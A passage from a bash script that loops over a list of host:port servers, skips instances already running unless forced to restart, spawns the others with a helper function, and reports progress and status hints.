            echo "[$c/${#SRV[@]}] $h:$p already running (use -f to restart)"
            [ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
            continue
        fi
    else
        printf "[%d/%d] %s:%s " "$c" "${#SRV[@]}" "$h" "$p"
    fi
    
    spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL"
    [ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
done
echo "Done. Use -s for status."
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